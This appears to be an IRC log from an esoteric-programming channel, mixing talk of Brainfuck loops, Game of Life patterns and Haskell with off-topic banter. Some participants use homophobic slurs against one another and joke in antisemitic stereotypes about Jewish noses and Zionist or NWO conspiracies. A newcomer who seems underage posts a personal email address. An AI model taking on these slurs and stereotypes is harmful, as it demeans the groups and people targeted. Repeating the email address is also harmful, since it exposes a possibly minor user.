22:12:56 <AnMaster> (as in: is this a one off, or some sort of series?)
22:14:51 <AnMaster> hyperbolic geometry is fun btw
22:17:08 <Slereah> Your butt is an hyperbolic surface
22:19:00 * SimonRC doesn't really see how it is *that* funny
22:29:18 -!- jix has quit ("leaving").
22:48:58 -!- oerjan has joined.
22:53:00 <oerjan> what, nearly no one said anything in 3 1/2 hours?
22:55:09 <oerjan> well ok some jews were blathering, that's true
22:56:03 <oerjan> well the plural may be overstating it
22:56:56 <oerjan> actually on second consideration 8 people spoke, just not very much each
22:57:20 <augur> oerjan: there are many a fag here
22:57:57 <oerjan> yes but i cannot prove that more than 1 spoke in the last 3 1/2 hours
22:58:36 <oerjan> yes, but you are not plural
22:59:11 <Slereah> let's say AnMaster is a faggot then
23:01:08 <augur> oh. so its definitely true. ok!
23:01:46 <oerjan> augur: i bet he hasn't stopped beating his boyfriend yet, either
23:09:35 <SimonRC> um, this is the #esoteric window not the #isharia window
23:09:57 <augur> SimonRC: good point.
23:10:09 <augur> []][[,..,+++--,,,..][]][[[[[]]
23:11:04 <Pthingg> i put up more on MONOD too
23:11:05 * SimonRC wonders just how badly the AFDers would react to this comic http://rumblo.com/cc/comics/cc-hbdaymike.gif
23:11:47 <oerjan> what the heck is #isharia and will i regret i asked
23:12:14 <augur> its the human-language equivalent of #esoteric.
23:12:39 <Pthingg> slllllllightly longer attention span
23:12:51 <augur> oh sorry i got distracte
23:14:19 <oerjan> it is very easy to get dist
23:15:05 <oerjan> hm that bf is unbalanced
23:19:07 <augur> oerjan yes it is but i dont know bf :D
23:20:15 <oerjan> augur: well generally [] being unbalanced is the only thing that can cause a syntax error in bf
23:21:39 <oerjan> also, [] is rarely useful since it is either skipped or an infinite loop
23:22:05 <oerjan> ][] is equivalent to ]
23:22:13 <oerjan> [[]] is equivalent to [] i think
23:22:43 <oerjan> in fact [[...]] is equivalent to [...] i think
23:24:04 <oerjan> so []][[,..,+++--,,,..][]][[[[[]] simplifies to []][[[
23:24:27 -!- MigoMipo has quit ("Ich muss schlafen!").
23:25:43 <oerjan> ][...] is equivalent to ] actually, it's a major way of adding free(er) commenting
23:26:26 <oerjan> hm []] possibly simplifies to ]
23:28:24 <oerjan> [[]...] is equivalent to [] ?
23:28:56 <GregorR> What a stupid thing to do ;P
23:30:12 <pikhq> Except in perverse cases of testing the halting problem. ;p
23:48:33 -!- GreaseMonkey has joined.
23:52:17 <SimonRC> -!- SimonRC [n=sc@fof.durge.org] is away ["bed, etc"]
23:55:58 -!- nooga has joined.
23:58:03 <AnMaster> SimonRC, "#isharia"? I think I heard this mentioned in here a few days ago
23:59:39 <AnMaster> (doing ehird-style log reading :P)
00:04:04 <GregorR> You're sinking into the ebyss.
00:14:20 <GregorR> Everyone else except ehird.
00:14:34 <GregorR> Who will amazingly undo his memory in order to follow the backlog with you.
00:15:26 <AnMaster> * Ping reply from GregorR: 8.99 second(s)
00:15:50 <AnMaster> GregorR, a CTCP wouldn't highlight you anyway
00:18:15 -!- FireFly has quit ("Later").
00:20:25 * nooga does not read logs because he's convinced that there's nothing worth reading on the channel while his person is absent
00:20:42 -!- BeholdMyGlory has quit (Remote closed the connection).
00:20:48 <oerjan> yes, that's what we want you to think
00:21:45 * nooga is greping the logs
00:24:23 -!- ehird has joined.
00:24:33 <ehird> i'm just going to assume AnMaster has died in a fire now, la la laa
00:25:00 <ehird> hmm i felt the strangest feeling, just like someone said "fnord"
00:25:55 <AnMaster> ehird, good for you, because I'm actually busy reading a book. Not sure if you know of the author: Stephen Potter.
00:28:11 <ehird> <AnMaster> GregorR: no
00:28:17 <oerjan> could be Beatrix's great grandson...
00:28:24 <nooga> GregorR: yeah, i thought the same
00:28:53 <AnMaster> I'd just like to add one thing: Potter isn't a totally uncommon name in England afaik?
00:29:15 <nooga> I wonder if they give someone a surname Potter when he's smoking too much pot
00:29:16 <AnMaster> ehird, wrong, I didn't answer GregorR
00:29:24 <oerjan> AnMaster: well that's what they _want_ you to think, so you don't suspect their conspiracy
00:29:25 <GregorR> Stephen Potter is the English version of (American) John Smith.
00:29:29 <GregorR> (^^^ just making that up :P )
00:29:49 <nooga> AnMaster: at least I try
00:30:00 <AnMaster> nooga, potter, as in making pots.
00:30:15 <nooga> i know what pot is
00:30:17 <GregorR> AnMaster's masterful sense of humor at work again.
00:30:21 <oerjan> so nothing to do with potatoes then?
00:30:31 <AnMaster> GregorR, actually I'm pretending to not understand the joke
00:30:42 <ehird> nooga: I wonder if they give someone a surname Potter when he's smoking too much pot
00:30:42 <AnMaster> so thus it is double-reverse-humour or something.
00:31:09 <ehird> GregorR: AnMaster's thing used to be sarcasm you cannot possibly detect, now it's ignoring your joke and instead responding to it irritatingly
00:31:09 <GregorR> *joke detected, activating HUMOR MODE*
00:31:19 <ehird> humor? lame. i have a humour processor.
00:31:24 <nooga> http://www.youtube.com/watch?v=29J3ZCtIYwY < I WANT ONE
00:31:42 * oerjan throws a pie (chromium free) in GregorR's face
00:31:45 <AnMaster> GregorR, is that a major or minor mode?
00:32:34 <AnMaster> apart from being a typoed mode ;P
00:33:17 <nooga> oh it's just a retarded meme
00:34:36 <AnMaster> someone should make a complete list of all major internet memes...
00:34:42 <AnMaster> Oh wait, I bet wikipedia has one already
00:35:19 <nooga> oerjan: enjoy your elder meme
00:35:51 <nooga> http://www.youtube.com/watch?v=5Fqpp-IAXF0&feature=related < I WANT ONE
00:43:08 <augur> nooga: so dangerous
00:43:46 <ehird> augur: ssh, if he gets one he might kill himself with it
00:44:00 <augur> nooga: true. danger is awesome
00:44:49 <augur> gimme the pattern!
00:45:11 <ehird> just draw downwards ffs
00:45:22 <ehird> voila, fuzzy sierpinski diamond
00:45:33 <augur> it doesnt work for me!
00:45:37 <nooga> http://blip.tv/file/324976 << I just watched that, holy shit, that guy is probably on crack
00:45:51 <augur> simon peyton jones is awesome
00:45:56 <ehird> augur: make your hand less steady
00:46:26 <nooga> maybe he's awesome but the lecture isn't
00:46:35 <nooga> where are the slides?!
00:46:35 <augur> its an awesome lecture
00:46:38 <ehird> augur: just have a 1-3 pixel error every 30 vertical pixels or so
00:46:47 <augur> i was about to ask. thank you.
00:47:05 <ehird> in fact more like 55 vertical pixels
00:47:07 <nooga> i don't like to watch SPJ, I'd like to watch the thing he's talking about
00:47:33 <augur> ehird: i get noise.
00:48:11 <nooga> augur, ehird: where?
00:48:30 <ehird> augur: show me the screenshot i gave you of what you want and i'll give it
00:48:38 <augur> i dont have it! :|
00:49:05 <ehird> grep -ir 'FUCK BITCH ASS' .
00:49:26 <augur> insensitive, and ... ?
00:49:32 <ehird> recursive in directory, not files
00:52:22 <nooga> ehird: last evening i think i felt true awesomness of haskell
00:52:32 <ehird> augur: how many logs you have?
00:52:34 <augur> no, that was michael jackson's ghost.
00:52:36 <ehird> also you did run in log directory right
00:52:57 <augur> ive got 362 log files.
00:53:13 <ehird> then it should not take any time.
00:53:30 <augur> well its not going anything :|
00:54:41 <augur> nevermind. spotlight e.e
00:55:47 <augur> http://xs136.xs.to/xs136/09071/picture_1324.png
00:56:23 <Slereah> That's like half a sirpienski
00:56:28 <nooga> http://blip.tv/file/913860 < shat brix, i might say
00:56:31 <augur> its a dual sierpinski, actually.
00:57:14 <Slereah> So it turns out I have like over 100 euros in petty cash
00:57:20 <Slereah> Should I cash it in at the bank?
00:57:21 <ehird> augur: i don't know how i did that
00:57:27 <ehird> augur: too bad Life isn't reversible
00:57:32 <augur> i dont think its Life, to be honest
00:57:41 <Slereah> I fear haters hating, because they'd have to wait while I count my pennies
00:57:44 <augur> the noise looks unlifelike tho :(
00:57:53 <ehird> augur: just convert that png to an .rle and play it in golly
00:57:56 <ehird> and you'll see that it's life
00:58:04 <augur> anything will play in life. :P
00:58:14 <augur> howsa convert? is in golly?
00:58:28 <ehird> imagemagick to get it in a simple format
00:59:35 <augur> ehird, you refused to send me the file when you first did it
00:59:43 <augur> and now you say you cant remember how to do that
00:59:44 <ehird> augur: i had no file
00:59:48 <ehird> i do not save golly files
01:01:24 <augur> aha, i found your original source image that you showed me
01:02:01 <augur> ehird, might i quote from the logs
01:02:03 <augur> 15:12 ehird: psygnisfive: I have the .rle
01:02:03 <augur> 15:12 ehird: if you want
01:02:39 <augur> http://xs536.xs.to/xs536/09071/picture_2491.png
01:04:11 <nooga> i can't see that image
01:06:41 <augur> i do not think that is life.
01:06:58 <ehird> it is 100% certain life
01:07:02 <augur> and you're 100% wrong.
01:07:09 <ehird> you are wrong, have a nice day
01:07:47 <AnMaster> what's the point of that pic....
01:08:20 <ehird> a screenshot of golly.
01:08:41 <augur> ehird, you're wrong.
01:09:00 <ehird> augur: i like how you are aggressive to me when you're trying to get files out of me
01:09:06 <ehird> it's amusingly self-defeating
01:09:11 <ehird> s/aggressive/angry/; whatever
01:09:24 <augur> im not trying to get files out of you
01:09:27 <augur> i trust that you dont have the files
01:09:35 <ehird> you asked me repeatedly for the .rle
01:09:39 <augur> im just telling you you're wrong about it being life
01:09:51 <ehird> augur: have you converted and tested yet?
01:10:10 <augur> no, ehird, and i dont have to, because i know the decay products of that original line
01:10:17 <ehird> we know that life does sierpinski on straight lines, and i've tested today that it produces noisy sierpinski on uneven lines
01:10:23 <augur> any long vertical line in GoL will produce a proper sierpinski
01:10:35 <ehird> and crooked ones produce noisy sierpinskis
01:10:39 <ehird> i don't see what's so implausible about mine
01:10:41 <nooga> > let a = 1+1 in a `seq` a
01:10:47 <ehird> yes they do augur, i just tested it now
01:10:57 <oerjan> nooga: a `seq` a === a
01:11:41 <oerjan> well nothing is evaluated until a `seq` a is evaluated
01:11:47 <ehird> augur: http://filebin.ca/uvpgtw/untitled
01:12:00 <AnMaster> hm could you make a reversible game of life?
01:12:24 <AnMaster> while keeping similar (but not quite the same) rules
01:12:49 <ehird> just always save the previous cells, ignoring the
01:12:50 -!- KingOfKarlsruhe has quit (Remote closed the connection).
01:12:53 <oerjan> and when that happens, a is evaluated, for the first argument. then the second argument is evaluated, found to already be done, then returned.
01:13:16 <ehird> to reverse, remove oldness 0 cells, set cell of oldness N to N-1
01:13:16 <oerjan> nooga: although ghc probably optimizes it down to just a
01:13:30 <AnMaster> ehird, hm ok, but for the pattern *** that would build a VERY large stack
01:13:42 <nooga> oerjan: but when i have threads and talk throught the net or something
01:13:51 <ehird> yes it would AnMaster
01:14:07 <ehird> oerjan: nooga seems to think haskell's IO stuff affects the language deeply
01:14:13 <ehird> feel free to attempt to disillusion him of this notion
01:14:17 <AnMaster> ehird, you could do cycle detection though
01:14:20 <augur> ehird, the only part of that thats noisy is the places where the line is jagged
01:14:30 <augur> the larger straight portions are not noisy sierpinskis
01:14:32 <ehird> augur: no it's not
01:14:35 <AnMaster> more than one pattern could cause the same next pattern
01:14:36 <ehird> the whole thing has a lot of gliders and shit
01:14:42 <oerjan> nooga: well everything needs to be indirectly required by some IO action to be evaluated
01:14:50 <augur> im looking at it right now
01:14:55 <augur> its nearly identical to a perfectly straight line
01:15:19 <ehird> it doesn't have the huge gliderfest that a perfectly straight one produces
01:15:28 <augur> the one he just linked to
01:15:38 <augur> its almost identical
01:15:45 <ehird> no it is not, shut up
01:15:49 <augur> yes it is you idiot
01:15:57 <AnMaster> http://filebin.ca/uvpgtw/untitled? application/octet-stream <--
01:16:07 <AnMaster> there is no clue what to open it with
01:16:46 <lambdabot> Source not found. Listen, broccoli brains, I don't have time to listen to this trash.
01:16:47 <AnMaster> it isn't there? That's very unusual
01:17:09 <AnMaster> golly is not in gentoo portage it seems
01:17:14 <ehird> AnMaster: actually, it's linked with golly in the resource fork.
01:17:27 <ehird> may not be transmitted over the net. do not use while pregnant. requires os x. YMMV.
01:17:41 <oerjan> nooga: par is a ghc operator which in principle means the same as seq iirc, but where ghc tries to evaluate both sides in parallel
01:17:50 <augur> ehird: i get the same thing with a straight line.
01:17:54 <ehird> AnMaster's comprehension of language hits a new low
01:18:04 <ehird> try reading it a few dozen more times
01:18:06 <AnMaster> <ehird> may not be transmitted over the net. do not use while pregnant. requires os x. YMMV. <-- yes
01:18:14 <ehird> 01:17 ehird: AnMaster: actually, it's linked with golly in the resource fork.
01:18:15 <nooga> oerjan: quite cool i'd say
01:18:30 <AnMaster> ehird, wasn't clear if it meant that specific part, or the entire thing
01:18:41 <ehird> AnMaster: it was incredibly clear.
01:18:56 <AnMaster> because you know what you meant
01:19:12 <ehird> to anyone who actually knows english........
01:19:16 <AnMaster> but ask some of the .fi people and I bet at least Deewiant would agree with me
01:20:22 <ehird> fuck you. to prove it i'd have to test it with every english-speaking person in the world, YOU cannot comprehend half of everything people say, and yet the only time you blame it on someone else explicitly is with me
01:20:35 <AnMaster> ehird, or a large subset at least
01:20:56 <augur> ehird: i agree, it was clear.
01:21:03 <augur> and since im a linguist, anmaster, shut up.
01:21:24 <AnMaster> but remember, most people in here speak English as their second language.
01:21:29 <lambdabot> Control.Parallel par :: a -> b -> b
01:21:29 <lambdabot> Text.XHtml.Frameset paragraph :: Html -> Html
01:21:29 <lambdabot> Text.XHtml.Strict paragraph :: Html -> Html
01:21:30 <ehird> non-native speaker != I only understand sentences if the moon is in the right phase
01:21:32 <AnMaster> (Didn't fizzie make some graph some time ago?)
01:21:49 <ehird> i have spoken to plenty of non-native speakers that barely make any errors, are eloquent, and understand most everything anyone says
01:21:57 <ehird> so please don't attribute it to "being non-native"
01:22:17 <oerjan> AnMaster: i think strawberries are delicious
01:22:36 <lament> non-native speakers am STUPID
01:22:45 <augur> ehird: i still dont get the double sierpinski, sorry.
01:22:58 <oerjan> rouge probabilities sound dangerous
01:23:02 <ehird> augur: it's ok, you can turn canadian instead.
01:23:11 <oerjan> although not quite as dangerous as rogue ones
01:24:08 <oerjan> AnMaster: also i've corrected errors from native speakers before
01:24:45 <lament> native speakers make correct errors
01:24:53 <oerjan> AnMaster: yeah it's pretty arduous
01:24:58 -!- karla has joined.
01:25:47 <AnMaster> it is interesting, that for most words I have to google to find out what they mean, you get some definition as the top result *even without the define: prefix*
01:26:13 <AnMaster> this suggests those words are probably less used :P
01:26:38 <ehird> hello karla, who are you
01:26:44 <AnMaster> oerjan, I have yet to find out how rough = arduous
01:26:46 <karla> do you speak english?
01:26:53 <ehird> i'm talking in french
01:27:08 <nooga> once we've played with GoL and discovered that there is something that resembles doppler law in the world of ca - when information about cell's state comes to observer with lag equal to the distance between observer and the cell
01:27:10 <oerjan> AnMaster: well you'll have a rough time finding that out
01:27:11 <karla> so im speaking german
01:27:47 <AnMaster> and yeah I did, since it seems it can mean a lot of different things
01:27:48 <ehird> karla: so are you here for esoteric programming languages or what
01:27:57 <nooga> ... to ja może coś po Polſku dorzucę
01:28:17 <ehird> karla: how did you find out about us
01:28:23 <AnMaster> oerjan, använder du synonymordbok?
01:28:54 <ehird> i can't tell what frikipedia is
01:29:12 <GregorR> nooga: ... what language was that? I was unaware of ſ being in any language but English ...
01:29:14 <karla> its like the wikipedia
01:29:38 <AnMaster> considering where nooga is from
01:29:40 <karla> a parody of the wikipedia
01:29:55 <nooga> Polish, but with . in the beginig my filter worked
01:29:56 <ehird> oh, so uncyclopedia in spanish.
01:29:58 <AnMaster> THAT explains why ehird is here
01:30:31 <oerjan> AnMaster: you didn't know? well i guess that's expected from you
01:30:47 <GregorR> So, it's like Spanish Uncyclopedia.
01:30:59 <oerjan> AnMaster: i do use define: quite a bit though
01:30:59 <AnMaster> now one question remains, why are we mentioned in it...
01:31:16 <GregorR> Wish I spoke Spanish ... after three years of Spanish in high school :P
01:31:33 <AnMaster> oerjan, hm, can you recommend a good browser? Firefox is too slow, konq too bad support for web pages...
01:31:34 <karla> i dont speak english very well
01:32:04 <AnMaster> oerjan, so I end up avoiding browser a lot
01:32:27 <oerjan> AnMaster: you are asking a person who is still using IE? >:D
01:32:28 <ehird> AnMaster: oerjan uses IE.
01:32:42 <GregorR> Hola. No hablo Español, porque soy un estudiante mal. So, some joke page about some esoteric programming language then? :P
01:32:47 <ehird> hey, I think wine can run it.
01:32:47 <oerjan> probably repressed memory
01:32:50 <AnMaster> oerjan, seriously, Why not opera?
01:32:59 <karla> how old are you all??
01:33:08 <ehird> karla: i'm 13 and i speak english brilliantly. although this could be attributed to it being my first language.
01:33:22 <ehird> (for some values of brilliantly, admittedly)
01:33:37 <oerjan> brilliantly inventive spelling and grammar
01:33:45 <ehird> http://esolangs.org/wiki/ ← this has our stuff.
01:33:48 <karla> you speak a little bit spanish?
01:34:18 <ehird> nooga: you just set the new record for last person to find out, congrats
01:34:29 <ehird> normally that'd be the person that just came in here a few minutes ago
01:34:38 <ehird> but nooga continually pushes the boundaries of stupidity!
01:34:43 <nooga> i don't really care
01:34:54 <karla> i tought this would be a spanish chat room
01:35:03 <ehird> karla: what gave you that impression?
01:35:09 <ehird> karla: can you link to the article you found this place from?
01:35:11 <nooga> why should i be concerned with your young age
01:35:19 <karla> because a i found this page in a spanish chat?>??
01:35:21 <ehird> nooga: you *did* ask...
01:35:21 <nooga> i'm not a pedobears pal
01:35:27 <oerjan> AnMaster: primality has nothing to do with base
01:35:27 <AnMaster> <ehird> but nooga continually pushes the boundaries of stupidity! <-- And you think I'm bad?
01:35:32 <karla> www.frikipedia.com
01:36:03 <ehird> karla: on the main page?
01:36:25 <AnMaster> oerjan, but 3 is a prime. thus base 3 must be a prime base. For certain values of certain.
01:36:30 <ehird> frikipedia.es actually
01:36:46 <oerjan> hm there's an english frikipedia too
01:36:51 <ehird> karla: and this thing opened up to #esoteric?
01:37:06 <ehird> very strange. we don't know of this frikipedia.
01:37:12 <ehird> ok it connects to freenode
01:37:17 <ehird> which is where #frikipedia is
01:37:23 <ehird> but we're just a random channel
01:37:39 <nooga> karla: type: /join #frikipedia
01:37:47 <GregorR> Wow, I'm lagged like crazy. I got all the lines back to my previous one in one go...
01:38:07 <nooga> GregorR: sue freenode and you ISP
01:38:12 <AnMaster> now this is an unusual misjoin
01:38:24 -!- GregorR has quit ("Leaving").
01:38:31 <ehird> AnMaster: it autojoins #frikipedia
01:38:37 -!- GregorR has joined.
01:38:39 <ehird> so i guess "hi" came out as "/part<ENTER>/join #esoteric"
01:38:44 <oerjan> "las lolis son agentes de la Guardia Civil y los Jocicuos son mujeres portuguesas ecofeministas
01:39:00 <oerjan> whatever that means...
01:39:11 <karla> ii know what that means
01:39:36 <ehird> the loli's son's agent is the Civil Guard's lost son of Jociuos, the portuguese eco-feminist
01:39:54 <ehird> (note: translation made by replacing each word with closest english equivalent while keeping grammatical structure)
01:40:11 <ehird> "kamuikd are the agents of the Guardia Civil and Jocicuos are Portuguese women ecofeministas"
01:40:28 <karla> this is the right one
01:40:29 <AnMaster> I guess the joke was lost in translation
01:40:41 <ehird> AnMaster: dude, it was a joke translation
01:40:47 <ehird> 01:39 ehird: (note: translation made by replacing each word with closest english equivalent while keeping grammatical structure)
01:40:55 <karla> kamukid are agents of the civil guard and the jocicuos are portuguese womene ecofeminist
01:41:01 <AnMaster> ehird, "<ehird> "kamuikd are the agents of the Guardia Civil and Jocicuos are Portuguese women ecofeministas" <ehird> says google"
01:41:20 <AnMaster> No definitions were found for kamukid.
01:41:39 <nooga> ehird: go outside and play soccer with your school friends, that would be amusing
01:41:55 <oerjan> that's from #frikipedia's topic, anyway
01:42:00 <GregorR> They don't play soccer in the UK :P
01:42:03 <ehird> friends? seems i'm AnMaster, now I need to look up that word's definition
01:42:06 <ehird> also what GregorR said
01:42:09 <AnMaster> nooga, even I wouldn't want to force ehird to play football
01:42:20 <nooga> GregorR: I KNOW, that's the point
01:42:23 <ehird> AnMaster: i dunno, i'd fail very comically
01:42:27 <ehird> it could be amusing
01:42:29 <nooga> playing football in UK isn't nonsenical at all
01:42:32 <ehird> karla: "in the UK"
01:42:35 <GregorR> karla: Some tiny minority of us are :P
01:42:48 <karla> im the only girl here?
01:42:52 <GregorR> karla: <-- US, ehird is in the UK, the rest are mostly from various countries.
01:42:55 <karla> am i the only girl herE?
01:43:04 <nooga> i'm almost certain that he can only play on my nerves :F
01:43:13 <GregorR> karla: Unless somebody's holding out on us :P
01:43:17 <ehird> karla: that-other-guy (err gal) in here yesterday was female.
01:43:20 <AnMaster> this channel is about programming though
01:43:23 <ehird> also sukoshi was female but that was years ago
01:43:34 <ehird> AnMaster: i see your topic-fucking has done a load of good
01:43:38 <oerjan> karla: ooh maybe you shouldn't join #frikipedia after all then, "el canal donde los hombres son hombres, las mujeres son hombres, las lolis
01:43:40 <ehird> karla: do you know what programming is?
01:43:47 <ehird> oerjan: what does that mean :p
01:43:57 <karla> i dont know what your talking about
01:44:05 <AnMaster> ehird, not mine. And as the say "they will always design a better idiot" ;P
01:44:08 <oerjan> the channel where the men are men, the women are women, and ...
01:44:09 <ehird> karla: coding computers.
01:44:15 <AnMaster> no offence meant to you ehird!
01:44:23 <ehird> AnMaster: what about offense
01:44:41 <oerjan> *the channel where the men are men, the women are men, and then the last thing i posted
01:44:44 <AnMaster> ehird, aspell thinks "offense" doesn't exist.
01:45:05 <ehird> AnMaster: aspell is mentally retarded.
01:45:20 <GregorR> Spelling offence with a 'c' is pretty offencive.
01:45:24 <nooga> ehird: what about your driving license
01:45:42 <AnMaster> ehird, actually: http://en.wiktionary.org/wiki/offence
01:45:55 <ehird> AnMaster: nobody says offence
01:46:06 <AnMaster> ehird, except aspell's en-GB wordlist yeah
01:46:10 <nooga> m is far from f on us keyboard
01:46:17 <ehird> AnMaster: it needs both
01:46:17 <AnMaster> ehird, maybe I should use en-US?
01:46:31 <ehird> AnMaster: spellings
01:46:33 <ehird> also, cat together en-*
01:46:38 <karla> can i speka spanish ?/
01:46:46 <AnMaster> ehird, that would say color was correct spelling
01:46:49 <oerjan> i take opphence at this spelling
01:46:54 <ehird> AnMaster: it would say both are.
01:46:57 <AnMaster> ehird, which would be horrible
01:46:58 <ehird> also, color is a fine word.
01:47:04 <nooga> þou ſhall not paſs
01:47:12 <ehird> http://cowbirdsinlove.com/comics/simplephilosophy1.png
01:47:43 <karla> les gusta la pizza?
01:47:44 <ehird> karla: well can you speak it?
01:47:55 <karla> soy hispanohablante
01:48:08 <ehird> "spanish, motherfucker! do you speak it?"
01:48:21 <ehird> in an alternate universe!
01:48:42 <AnMaster> ehird, I love the first one especially.
01:49:12 <ehird> wow, AnMaster has a sense of humour!
01:49:20 <nooga> me llamo martin, me hablo espanol un poco
01:49:28 <ehird> maybe AnMaster's humour and humor sensors are defective; he has both
01:49:36 <ehird> but they both have a ton of misfires and false negativse
01:49:39 <AnMaster> ehird, ... it is well known that I do ... Just tuned to a different frequency than most other people.
01:49:41 <ehird> so you have to find the subset
01:49:49 <ehird> i wonder which one is less defective?
01:49:53 <ehird> probably the humour one
01:50:01 <nooga> NOW IS TIME FOR A LATE NIGHT CIGARETTE!!!???????!?!111111
01:50:10 <ehird> <nooga's lungs> ABSOLUTELY!
01:50:45 <karla> yo are my best friend
01:50:55 <nooga> wow, that's an achievement
01:51:25 <AnMaster> oh, I don't want to cause any offence to anyone.
01:51:35 <AnMaster> lets just say it is related to the topic.
01:51:37 <ehird> AnMaster: starts with a k ends with an arla?
01:51:48 <ehird> we could be trolling her right now.
01:52:07 <ehird> karla: trolling means "oboe"
01:52:12 <ehird> "playing oboe at" in particular
01:52:19 * ehird plays the oboe at karla
01:52:55 <karla> can anybody help me to speak english???
01:52:57 <ehird> AnMaster: Swedish Schwarzenegger!
01:52:57 <nooga> yea, me too, i've got iphone pain-work to do
01:53:20 <AnMaster> ehird, which movie was that from.
01:53:26 <AnMaster> it wasn't an intentional quote
01:53:26 <nooga> karla: i'm sure that ehird can help you with that, he's native after all
01:53:38 <ehird> AnMaster: well drop the "later"
01:53:42 <ehird> http://en.wikipedia.org/wiki/I'll_be_back
01:53:55 <ehird> nooga: i'm almost certain the english are migrants.
01:54:06 <karla> carlita_bonita94@hotmail.com
01:54:19 <ehird> karla: this probably isn't the channel you want.
01:54:27 <nooga> ehird: me not understanding
01:54:47 <ehird> nooga: i'm not a native of England if you go far backe nough ;-)
01:56:10 <nooga> uh, I'm half German, quarter Lithuanian, quarter Norwegian and i speak Polish and English
01:56:21 <ehird> nooga: wait you're not any polish?
01:56:31 <ehird> nooga: please be part polish
01:56:50 -!- karla has left (?).
01:57:06 <ehird> nooga: argh! a friend-of-a-friend is a guy who's insanely lithuanian patriotic and hates poles with the fury of a billion sons
01:57:10 <ehird> you would make him explode
01:57:42 <nooga> my grandmother and grandfather form the german side were living in the same place during their whole life - but the terrains suddenly changed from german to polish
01:57:48 <oerjan> and to think poles and lithuanians almost had an empire...
01:58:11 <AnMaster> <ehird> nooga: i'm not a native of England if you go far backe nough ;-) <-- how many generations?
01:58:33 <ehird> AnMaster: many; this family is entirely british
01:58:36 <ehird> prolly anglo-saxon
01:58:56 <nooga> ehird: and you have this terrible accent and you're ginger
01:59:03 <AnMaster> oh and I know some very very distant forefather was actually Polish. Emigrated to Sweden around 1660 or so iirc.
01:59:05 <ehird> and i don't have an accent
01:59:11 <ehird> well a slight british one, but nothing beyond that
02:00:04 <AnMaster> (My grandmother on my farther's side used to be into genealogy)
02:00:15 <nooga> i used to have undistinguishable accent (like from tv host) but suddenly it became quite "russian", i bet that's because i don't speak english too much
02:00:51 <ehird> AnMaster: farther is side?
02:01:17 <AnMaster> ehird, just checking you were alert</retcon>
02:01:22 <ehird> AnMaster: it's even more invalid now
02:01:26 <ehird> "fathers side" is even more incorrect
02:01:36 <ehird> "farthers side" is even more incorrect
02:01:40 <ehird> AnMaster: drop the r, reinstate the '
02:04:04 <nooga> ehird: nooga: argh! a friend-of-a-friend is a guy who's insanely lithuanian patriotic and hates poles with the fury of a billion sons << now I know a friend-of-a-friend who is insanely polish patriotic and he hates everyone with the fury of billion sons
02:04:17 <ehird> apart from polish people i assume
02:04:25 <nooga> and here's the best part: all his freinds are the same
02:04:35 <nooga> better, 1/3 of our nation is the same
02:05:33 <GregorR> So we're talking about genealogy then?
02:05:55 <GregorR> <-- Briton with a side of Jew
02:06:07 <ehird> GregorR: NWO NWO NWO
02:06:21 <ehird> I bet you're a REPTILIAN BANKER.
02:06:26 <nooga> GregorR: but you're not one of that evil Zionists ?
02:06:39 <GregorR> I should put up a picture of my face in profile :P
02:06:55 <GregorR> Suffice to say that if I ever needed to convince somebody that I'm Jewish, that'd do it.
02:07:40 <nooga> that will be evil:
02:07:41 <ehird> i wonder if any jews get nose reduction
02:07:48 <nooga> now, cut vs. uncut, discuss
02:08:00 <ehird> so they can be secret jews
02:08:02 <GregorR> nooga: Uh, are you referring to circumcision?
02:08:06 <AnMaster> <ehird> GregorR: NWO NWO NWO <-- Detected probable meme.... Searching database... Meme not found.
02:08:07 <ehird> GregorR: no, noses.
02:08:18 <ehird> AnMaster: New World Order; see Zionist conspiracies and the like.
02:08:25 <ehird> GregorR: nose. circumcision.
02:08:26 <GregorR> I find it fairly shocking that we live in a society that totally accepts ritualistic mutilation of infant penises.
02:08:44 <ehird> you would say that just to throw us off, GregorR
02:08:56 <nooga> don't be riddiculous ehird
02:09:09 <ehird> Circumcision is how they brand their pray, it's like 666 but for penises
02:09:30 <GregorR> ehird: Idonno about the UK, but in the USA circumcision is pretty much the norm regardless of religious background.
02:09:42 <ehird> GregorR: yeah, 's weird
02:09:49 <ehird> i don't think circumcision is done in the uk at all basically
02:10:15 <ehird> i don't think you -can- get it done on birth
02:10:43 <ehird> "By 1975, only 6 per cent of boys born in the UK were circumcised."
02:10:49 <GregorR> Y'know, there are Jews that live in the UK :P
02:10:56 <nooga> ehird: but you can't say a bad word to a muslim who calls you an animal
02:11:08 <ehird> nooga: i say "bad words" to all religion
02:11:14 <GregorR> nooga: You are an animal. As are we all.
02:11:20 <ehird> GregorR: i don't think doctors will circumcise at birth, is what i mean
02:11:27 <nooga> (they'll explode with rage and clumsy, engish police will run for their lives)
02:12:40 <GregorR> "In the United States, about 70 percent to 80 percent of boys are circumcised, whereas, in Europe the majority of boys are not circumcised."
02:14:13 <GregorR> Apparently the USA is 70-80% Jewish. Who knew.
02:14:33 <AnMaster> GregorR, that can't be quite correct?
02:14:47 <augur> of circumcised guys
02:15:05 <AnMaster> so lots of non-jews being circumcised?
02:15:16 <GregorR> Yes, the vast majority in fact. It's still weird :P
02:16:08 <AnMaster> GregorR, what is the percentage of jews in US?
02:16:17 <GregorR> Idonno, substantially less than 70% X-D
02:16:19 <augur> probably near 10% maybe?
02:16:29 <GregorR> That seems a bit high, but maybe *shrugs*
02:16:43 <AnMaster> what is the other secret religion practising circumcising in US then...
02:16:49 <augur> ah, cia world factbook says 1%
02:16:57 <augur> anmaster: white people.
02:17:08 <GregorR> It's not a religious thing.
02:17:13 <augur> apparently 25% of americas jews live in new york city
02:17:20 <oerjan> my understand was someone in US convinced people circumcision was actually healthy at some point...
02:17:21 <augur> anmaster: have you never seen those black jews who hate white jews?
02:17:33 <GregorR> oerjan: Yup. It's a widely-agreed-upon silly lie.
02:17:37 <AnMaster> augur, how much of this is due to so many people living there anyway?
02:17:38 <augur> the reasoning is, "omg you'll get the aids if you dont get circumcised"
02:17:53 <augur> anmaster: only like 3% of the population is in nyc tho
02:18:01 <augur> or something like that.
02:18:11 <GregorR> And yet, 75% of the accents are there. Strange.
02:18:18 <AnMaster> augur, ok, so I guess it *can* be statistical significant then
02:18:22 <oerjan> AnMaster: there are some quite black jews, from Ethiopia
02:18:26 <augur> nyc is ~10m, whole counter is ~300m, so 1/30 of americans are in NYC
02:18:39 <augur> oerjan: i didnt mean those
02:18:59 <GregorR> The problem is that "Jewish" refers to both a race and a religion.
02:19:01 <augur> i meant the crazy american black jews that are pronazi because the white jews are fake jews who oppressed the black jews
02:20:44 <oerjan> augur: um i thought the widespread circumcision in the USA was far older than the aids scare
02:21:03 <augur> oerjan: possibly, but its the same general idea.
